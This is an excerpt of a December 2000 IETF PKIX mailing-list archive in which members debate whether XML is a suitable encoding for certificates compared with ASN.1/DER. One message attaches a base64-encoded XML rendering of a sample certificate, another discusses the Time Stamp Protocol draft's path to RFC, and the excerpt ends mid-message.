> This is very different from a session on XML-based PKIs, where ASN.1 is 
> never used.  That is the session I thought you were requesting, and it is 
> well outside our charter.  It is not my role or Steve's to be organizing 
> such a session.  To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key *or* attribute).
> 
> I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
> discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) 
> is not present.
> 
> Tim
> 
> At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
> >Tim,
> >What you are saying is that there _will_ be some kind of a PKIXML session 
> >(short but something at least)
> >which I have asked Steve K to arrange in and off this list with no success.
> >
> >Unfortunately, I and few others cannot waste their precious time on things 
> >that are decided
> >in the last minute with no previous information. As we have discussed this 
> >subject for a month
> >or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is 
> >a "win" in somebody's
> >view that the loudest PKI-XML proponent (who still insists that this is a 
> >_market_ thing as well) will
> >not be there...
> >
> >Anders
> >
> >
> >
> > > I am projecting a half hour for discussions on XML and PKI.  So far, Phil
> > > has requested time to describe XKMS.  If you would like to present under
> > > this general topic, please send me email.  I will try to get everyone some
> > > time to present their views.
> > >
> > > Thanks,
> > >
> > > Tim Polk
> 



From owner-ietf-pkix@imc.org  Thu Dec  7 12:04:01 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA21540
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 12:04:00 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA09770;
	Thu, 7 Dec 2000 09:00:38 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:00:11 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09716
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:00:10 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id MAA11052;
	Thu, 7 Dec 2000 12:02:20 -0500 (EST)
Message-Id: <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 12:00:08 -0500
To: Polar Humenn <polar@adiron.com>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
Cc: ietf-pkix@imc.org
In-Reply-To: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Polar,

At 10:10 AM 12/7/00 -0500, Polar Humenn wrote:
>On Thu, 7 Dec 2000, Tim Polk wrote:
>
><snipped>
>
> > To be honest, I personally believe that XML is an
> > inappropriate encoding format for certificates (public key *or* attribute).
>
>Forgive me, I'm just an academic. So, my I ask, what does the encoding
>format really matter? And especially, why is XML "inappropriate" for
>certificates?
>
>Cheers,
>-Polar

I'm just a government hack, so take it for what it's worth:

The W3C describes XML as "the universal format for structured documents 
*and data* on the Web" (my emphasis).  One of the reasons given for putting 
data from into XML is that it "allows you, if necessary, to look at the 
data without the program that produced it."

Hmm.  I can accept XML for documents.  I can rationalize XML for 
human-readable data (e.g., spreadsheet data).  But certificates?  I don't 
want to read certificates, I want to process them efficiently.  This leaves 
us one "advantage" - it's the universal format.

I see tow major problems with XML as a near term solution for 
certificates.  Perhaps they can be resolved in the future, but they seem 
like issues today.

First, I believe that significant work remains to handle signed XML at 
all.   In its basic form, XML encoded documents can be modified without 
changing the document.  That breaks signatures.  Canonicalization 
techniques may fix that in the future, but they seem to be a major 
interoperability headache today.

Secondly, XML certificates are going to bring a significant increase in 
size.  One of the SPKI WG's premises was that X.509 certificates were too 
large already.   Some of the wireless folks consider this an issue as 
well.  How big do you expect an XML certificate to be?

I don't have a crystal ball, but it seems that ASN.1 DER encoding serves 
our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide 
demonstrates, but we know how to make it work.

Tim Polk



From owner-ietf-pkix@imc.org  Thu Dec  7 12:32:25 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29090
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 12:32:24 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA12902;
	Thu, 7 Dec 2000 09:29:26 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:29:23 -0800
Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA12861
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:29:22 -0800 (PST)
Received: from [192.168.1.3] ([63.84.37.127])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G5700LQBJ2EDE@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Thu,
 7 Dec 2000 08:56:41 -0800 (PST)
Date: Thu, 07 Dec 2000 08:58:28 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
To: PKIX <ietf-pkix@imc.org>
Message-id: <B65501B3.31D4%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

I'm not an academic, and I really don't care if I have to use ASN.1 or XML
to transfer security related information. But I really would like to see an
answer to Polar's questions.

Feliz Navidad,
Aram Perez



From owner-ietf-pkix@imc.org  Thu Dec  7 12:35:42 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29822
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 12:35:41 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA13409;
	Thu, 7 Dec 2000 09:32:26 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:32:23 -0800
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13377
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:32:22 -0800 (PST)
Received: from [192.168.1.3] ([63.84.37.127])
 by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G57000FXKAI8P@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu,
 7 Dec 2000 09:23:13 -0800 (PST)
Date: Thu, 07 Dec 2000 09:25:17 -0800
From: Aram Perez <aram@pacbell.net>
Subject: FW: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <B65501B3.31D4%aram@pacbell.net>
To: PKIX <ietf-pkix@imc.org>
Message-id: <B65507FD.31D4%aram@pacbell.net>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="MS_Mac_OE_3059025917_272816_MIME_Part"
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3059025917_272816_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Just for fun, I've attached the PKIX example #1 certificate converted from
ASN.1 to XML.

Enjoy,
Aram Perez

----------
From: Aram Perez <aram@pacbell.net>
Date: Thu, 07 Dec 2000 08:58:28 -0800
To: PKIX <ietf-pkix@imc.org>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

I'm not an academic, and I really don't care if I have to use ASN.1 or XML
to transfer security related information. But I really would like to see an
answer to Polar's questions.

Feliz Navidad,
Aram Perez


--MS_Mac_OE_3059025917_272816_MIME_Part
Content-type: text/plain; name="pkix-ex1.xml";
 x-mac-creator="43574945";
 x-mac-type="54455854"
Content-disposition: attachment
Content-Transfer-Encoding: base64

PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJ5ZXMiID8+DTxCRVIgRmlsZW5hbWU9
InBraXgtZXgxLmJlciIgPg08U0VRVUVOQ0UgTGVuZ3RoPSI2NTgiPg08U0VRVUVOQ0UgTGVu
Z3RoPSI1OTQiPg08XzBfQ29udGV4dC1zcGVjaWZpYyBMZW5ndGg9IjMiPg08SU5URUdFUiBM
ZW5ndGg9IjEiIFZhbHVlPSIyIj4NPC9JTlRFR0VSPg08L18wX0NvbnRleHQtc3BlY2lmaWM+
DTxJTlRFR0VSIExlbmd0aD0iMSIgVmFsdWU9IjAiPg08L0lOVEVHRVI+DTxTRVFVRU5DRSBM
ZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSI3IiBWYWx1ZT0ieyAxIDIg
ODQwIDEwMDQwIDQgMyB9IGRzYVdpdGhTaGExIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPC9T
RVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDIiPg08U0VUIExlbmd0aD0iMTEiPg08U0VR
VUVOQ0UgTGVuZ3RoPSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iMyIgVmFsdWU9
InsgMiA1IDQgNiB9IGNvdW50cnlOYW1lIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPFByaW50
YWJsZVN0cmluZyBMZW5ndGg9IjIiIFZhbHVlPSJVUyI+DTwvUHJpbnRhYmxlU3RyaW5nPg08
L1NFUVVFTkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEyIj4NPFNFUVVFTkNFIExlbmd0aD0i
MTAiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMCB9
IG9yZ2FuaXphdGlvbk5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry
aW5nIExlbmd0aD0iMyIgVmFsdWU9ImdvdiI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF
TkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEzIj4NPFNFUVVFTkNFIExlbmd0aD0iMTEiPg08
T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMSB9IG9yZ2Fu
aXphdGlvbmFsVW5pdE5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry
aW5nIExlbmd0aD0iNCIgVmFsdWU9Im5pc3QiPg08L1ByaW50YWJsZVN0cmluZz4NPC9TRVFV
RU5DRT4NPC9TRVQ+DTwvU0VRVUVOQ0U+DTxTRVFVRU5DRSBMZW5ndGg9IjMwIj4NPFVUQ1Rp
bWUgTGVuZ3RoPSIxMyIgVmFsdWU9Ijk3MDYzMDAwMDAwMFoiPg08L1VUQ1RpbWU+DTxVVENU
aW1lIExlbmd0aD0iMTMiIFZhbHVlPSI5NzEyMzEwMDAwMDBaIj4NPC9VVENUaW1lPg08L1NF
UVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3RoPSI0MiI+DTxTRVQgTGVuZ3RoPSIxMSI+DTxTRVFV
RU5DRSBMZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0i
eyAyIDUgNCA2IH0gY291bnRyeU5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRh
YmxlU3RyaW5nIExlbmd0aD0iMiIgVmFsdWU9IlVTIj4NPC9QcmludGFibGVTdHJpbmc+DTwv
U0VRVUVOQ0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTIiPg08U0VRVUVOQ0UgTGVuZ3RoPSIx
MCI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDEwIH0g
b3JnYW5pemF0aW9uTmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp
bmcgTGVuZ3RoPSIzIiBWYWx1ZT0iZ292Ij4NPC9QcmludGFibGVTdHJpbmc+DTwvU0VRVUVO
Q0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTMiPg08U0VRVUVOQ0UgTGVuZ3RoPSIxMSI+DTxP
QkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDExIH0gb3JnYW5p
emF0aW9uYWxVbml0TmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp
bmcgTGVuZ3RoPSI0IiBWYWx1ZT0ibmlzdCI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF
TkNFPg08L1NFVD4NPC9TRVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDM2Ij4NPFNFUVVF
TkNFIExlbmd0aD0iMjk3Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9
InsgMSAyIDg0MCAxMDA0MCA0IDEgfSBkc2EiPg08L09CSkVDVF9JREVOVElGSUVSPg08U0VR
VUVOQ0UgTGVuZ3RoPSIyODQiPg08SU5URUdFUiBMZW5ndGg9IjEyOCIgVmFsdWU9Ii0zMDc0
NDIyMDMxMjA5NjI3NDY1NDUyODU4Njc3OTgyMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdFUj4NPElOVEVH
RVIgTGVuZ3RoPSIyMCIgVmFsdWU9Ii01MTA4OTY1NzQ2MDY1MTcwODg5MjUyNTk2MTgxNjEy
NzAwMDAwMDAwMDAwMDAwMDAiPg08L0lOVEVHRVI+DTxJTlRFR0VSIExlbmd0aD0iMTI4IiBW
YWx1ZT0iOTk5MzcyNzEyMDgzNjY4MDExMDY0MjUyNTI0NTY3NjAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdF
Uj4NPC9TRVFVRU5DRT4NPC9TRVFVRU5DRT4NPEJJVF9TVFJJTkcgTGVuZ3RoPSIxMzIiPg08
Vj4gMDAxLTAxMDogMDAgMDIgODEgODAgQUEgOTggRUEgMTMgOTQgQTIgLi4uLi4uLi4uLiA8
L1Y+DTxWPiAwMTEtMDIwOiBEQiBGMSA1QiA3RiA5OCAyRiA3OCBFNyBEOCBFMyAuLlsuLi94
Li4uIDwvVj4NPFY+IDAyMS0wMzA6IEI5IDcxIDg2IEY2IDgwIDJGIDQwIDM5IEMzIERBIC5x
Li4uL0A5Li4gPC9WPg08Vj4gMDMxLTA0MDogM0IgNEIgMTMgNDYgMjYgRUUgMEQgNTYgQzUg
QTMgO0suRiYjMzg7Li5WLi4gPC9WPg08Vj4gMDQxLTA1MDogM0EgMzkgQjcgN0QgMzMgQzIg
NkIgNUMgNzcgOTIgOjkuLjMua1x3LiA8L1Y+DTxWPiAwNTEtMDYwOiBGMiA1NSA2NSA5MCAz
OSBDRCAxQSAzQyA4NiBFMSAuVWUuOS4uJiM2MDsuLiA8L1Y+DTxWPiAwNjEtMDcwOiAzMiBF
QiAyNSBCQyA5MSBDNCBGRiA4MCA0RiAzNiAyLiUuLi4uLk82IDwvVj4NPFY+IDA3MS0wODA6
IDYxIEJEIENDIEUyIDYxIDA0IEUwIDdFIDYwIDEzIGEuLi5hLi4uYC4gPC9WPg08Vj4gMDgx
LTA5MDogQ0EgQzAgOUMgREQgRTAgRUEgNDEgREUgMzMgQzEgLi4uLi4uQS4zLiA8L1Y+DTxW
PiAwOTEtMTAwOiBGMSA0NCBBOSBCQyA3MSBERSBDRiA1OSBENCA2RSAuRC4ucS4uWS5uIDwv
Vj4NPFY+IDEwMS0xMTA6IERBIDQ0IDk5IDNDIDIxIDY0IEU0IDc4IDU0IDlEIC5ELiYjNjA7
IWQueFQuIDwvVj4NPFY+IDExMS0xMjA6IEQwIDdCIEJBIDRFIEY1IDE4IDREIDVFIDM5IDMw
IC4uLk4uLk1eOTAgPC9WPg08Vj4gMTIxLTEzMDogQkYgRTAgRDEgRjYgRjQgODMgMjUgNEYg
MTQgQUEgLi4uLi4uJU8uLiA8L1Y+DTxWPiAxMzEtMTMyOiA3MSBFMSAgICAgICAgICAgICAg
ICAgICAgICAgICBxLiA8L1Y+DTwvQklUX1NUUklORz4NPC9TRVFVRU5DRT4NPF8zX0NvbnRl
eHQtc3BlY2lmaWMgTGVuZ3RoPSIxMyI+DTxTRVFVRU5DRSBMZW5ndGg9IjExIj4NPFNFUVVF
TkNFIExlbmd0aD0iOSI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7
IDIgNSAyOSAxOSB9IGJhc2ljQ29uc3RyYWludHMiPg08L09CSkVDVF9JREVOVElGSUVSPg08
T0NURVRfU1RSSU5HIExlbmd0aD0iMiIgVmFsdWU9IjEtMjogMzAgMDAgICAgICAgICAgICAg
ICAgICAgICAgICAgMC4iPg08L09DVEVUX1NUUklORz4NPC9TRVFVRU5DRT4NPC9TRVFVRU5D
RT4NPC9fM19Db250ZXh0LXNwZWNpZmljPg08L1NFUVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3Ro
PSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9InsgMSAyIDg0MCAx
MDA0MCA0IDMgfSBkc2FXaXRoU2hhMSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTwvU0VRVUVO
Q0U+DTxCSVRfU1RSSU5HIExlbmd0aD0iNDciPg08Vj4gMDEtMTA6IDAwIDMwIDJDIDAyIDE0
IDlEIDJEIDBDIDc1IEVDIC4wLC4uLi0udS4gPC9WPg08Vj4gMTEtMjA6IENFIDAxIDc5IDI1
IDRDIENEIDdCIERDIEZDIDE3IC4ueSVMLi4uLi4gPC9WPg08Vj4gMjEtMzA6IDBFIDBGIDJB
IDIyIEVGIDAyIDE0IDgwIDYxIDZGIC4uKiIuLi4uYW8gPC9WPg08Vj4gMzEtNDA6IEZCIERD
IDcxIENGIDNGIDA5IDYyIEI0IEFBIEFEIC4ucS4/LmIuLi4gPC9WPg08Vj4gNDEtNDc6IDRC
IDhDIDI4IDY4IEQ3IDYwIEZFICAgICAgICAgIEsuKGguYC4gPC9WPg08L0JJVF9TVFJJTkc+
DTwvU0VRVUVOQ0U+DTwvQkVSPg0=

--MS_Mac_OE_3059025917_272816_MIME_Part--




From owner-ietf-pkix@imc.org  Thu Dec  7 12:43:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01401
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 12:43:19 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA13913;
	Thu, 7 Dec 2000 09:39:41 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:39:39 -0800
Received: from mail.elftech.com ([63.237.226.22])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13882
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:39:38 -0800 (PST)
From: jdhascup@elftech.com
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
To: polar%adiron.com%INTERNET@elftech.com
Cc: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF6E1B00EA.7FF71603-ON882569AE.005F639C@elftech.com>
Date: Thu, 7 Dec 2000 09:39:45 -0800
X-MIMETrack: Serialize by Router on Stratos/LXN(Release 5.0.3 |March 21, 2000) at 12/07/2000
 09:39:34 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


<snipped>

>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or*
attribute).
>
>Forgive me, I'm just an academic. So, my I ask, what does the encoding
>format really matter? And especially, why is XML "inappropriate" for
>certificates?

I believe there is a future for XML (or it's replacement) in how services
can use certificates. But I also have a concern in using XML as an encoding
format for certificates. In every instance of XML "enabled" services I've
seen the processes tend to be very inefficient. The move should be toward a
greater efficiency in the handling of certificates. The long term future of
XML (or it's replacement) may resolve this, but as end-entity devices are
demanding greater efficiency the concern should be against bloating the
certificate.


JohnDavid


Dr. JohnDavid Hascup
Senior Security Architect
ELF Technologies
Issaquah, WA
425-369-5200

After a year's research, one realizes that it could have been done in a
week.
[from Fifty Years of X-ray Diffraction]
- Sir William Henry Bragg, 1862-1942




From owner-ietf-pkix@imc.org  Thu Dec  7 13:53:02 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11037
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 13:53:01 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17123;
	Thu, 7 Dec 2000 10:49:36 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 10:49:20 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17088
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:49:19 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id NAA24710;
	Thu, 7 Dec 2000 13:51:24 -0500 (EST)
Message-Id: <4.2.0.58.20001207130621.01c41270@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 13:49:13 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>,
        ietf-pkix <ietf-pkix@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
In-Reply-To: <3A2F83AF.8726DAE7@certplus.com>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Jean-Marc,

The IESG process does not operate on a fixed schedule, so we really can't 
predict when an RFC number might be available.  The IETF process consists 
of repeated discussion and debate regarding the merits of a 
specification.  At any stage, we could conceivably discover a problem that 
needs to be resolved.  Every problem that is encountered will take 
additional time.

TSP has several hurdles to cross. Once the ADs are satisfied, TSP will 
still need to go through IETF Last Call, be approved by the IESG, and wait 
in the IETF editing queue.  After successfully completing this process, it 
will get an RFC number.  (Note that IETF Last Call is a minimum of two 
weeks, and documents seem to be spending at least a month in the editing 
queue.  Many documents spend more time in each stage.)

I expect TSP to go through the process rather cleanly.  My experience is 
that documents which survive PKIX itself are already fairly well scrubbed.

Tim Polk

At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
>Tim Polk wrote:
>
> > I have attached the tentative agenda for next week's PKIX sessions.   As
> > usual, we have a rather full agenda.  Both days should be
> > interesting;  we'll discuss the path validation protocols on Tuesday and
> > XML on Wednesday.  In between, we'll cover the status of our twenty current
> > I-Ds.
>
>The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
>finished, and that the draft is now under Area Director Review.
>
>What would be a tentative time-line until publication as an RFC, or until
>attribution of a RFC number ?
>
>



From owner-ietf-pkix@imc.org  Thu Dec  7 14:05:23 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13846
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 14:05:23 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17609;
	Thu, 7 Dec 2000 10:58:46 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 10:58:44 -0800
Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17576
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:58:43 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53])
	by netscape.com (8.10.0/8.10.0) with ESMTP id eB7IlKs16757
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:47:20 -0800 (PST)
Received: from netscape.com ([192.18.121.215]) by judge.mcom.com
          (Netscape Messaging Server 4.15) with ESMTP id G57OSN01.JG8;
          Thu, 7 Dec 2000 11:00:23 -0800 
Message-ID: <3A2FDE48.9000602@netscape.com>
Date: Thu, 07 Dec 2000 11:00:24 -0800
From: thayes@netscape.com (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Polar Humenn <polar@adiron.com>
CC: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
Content-Type: multipart/alternative;
 boundary="------------010203070804080906090505"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


--------------010203070804080906090505
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an 
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

At the end of the day, the encoding format doesn't really matter.  As 
long as the required data is included in the payload, and all the 
parties involved can decode and process the message, the desired results 
will be acheived.

However,  there currently is a widely deployed and useful infrastructure 
for certificates that uses ASN.1, DER and X.509 as the standard way of 
representing the payload.  There are applications and protocols that use 
this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed 
these existing formats.  There is infrastructure developed and deployed 
for generating these certificates.  There are standard interfaces to 
devices that provided mechanisms for dealing with X.509 certificates 
